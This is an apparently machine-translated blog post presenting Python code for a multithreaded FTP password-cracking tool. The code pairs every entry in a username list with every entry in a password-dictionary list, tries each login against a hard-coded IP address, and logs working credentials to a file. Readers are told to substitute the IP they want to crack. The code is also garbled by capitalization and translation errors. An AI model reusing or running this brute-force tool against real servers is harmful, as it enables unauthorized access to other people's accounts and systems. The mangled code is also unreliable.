Python specific powerful library files, many features have corresponding library files, so it is necessary to learn, which has an FTP corresponding library file Ftplib, we only need the login function, and then use multi-threaded call the corresponding dictionary fields to log in, but also according to their own needs, According to their own situation to write the necessary procedures, let the program instead of us to do some tedious repetitive work.
Below the code directly, here is the main file
Copy the Code code as follows:
Import OS
Import time
Import threading
Class Mythread (threading. Thread):
def __init__ (Self,command):
Threading. Thread.__init__ (self)
Self.command=command
def run (self):
Kk=os.system (Self.command)
Ushand=open ("User.txt", "R")
Pshand=open ("Passwd.txt", "R")
Listuser=[]
Listpass=[]
For us in open ("User.txt", "R"):
Lineus=ushand.readline (). strip (' \ n ')
Listuser.append (Lineus)
For PS in open ("Passwd.txt", "R"):
Lineps=pshand.readline (). strip (' \ n ')
Listpass.append (Lineps)
For I in Listuser:
For J in Listpass:
Command= "ftp.py%s%s"% (I,J)
Print command
My_thread=mythread (command)
My_thread.start ()
Time.sleep (0.1)
The code in the corresponding ftp.py file is as follows
Copy the Code code as follows:
Import Ftplib
Import socket
Import Sys
Ftp=ftplib. FTP (' 121.54.175.204′)
Try
USER=SYS.ARGV[1]
PASSWD=SYS.ARGV[2]
Ftp.login (USER,PASSWD)
Hand=open (' Aa.txt ', ' A + ')
Hand.write (user+ ":" +passwd+ "\ n")
Except Ftplib.error_perm:
Print "passwd is World"
Because the insertion is not near the format, the inside of the indentation of what has to be manually adjusted a bit
Two files are required, User.txt and Passwd.txt, respectively, which are the user name and the dictionary of the account.
The code in which the FTP cracked IP can be modified to their own to crack the IP, the last correct account and password will be entered into the Aa.txt file.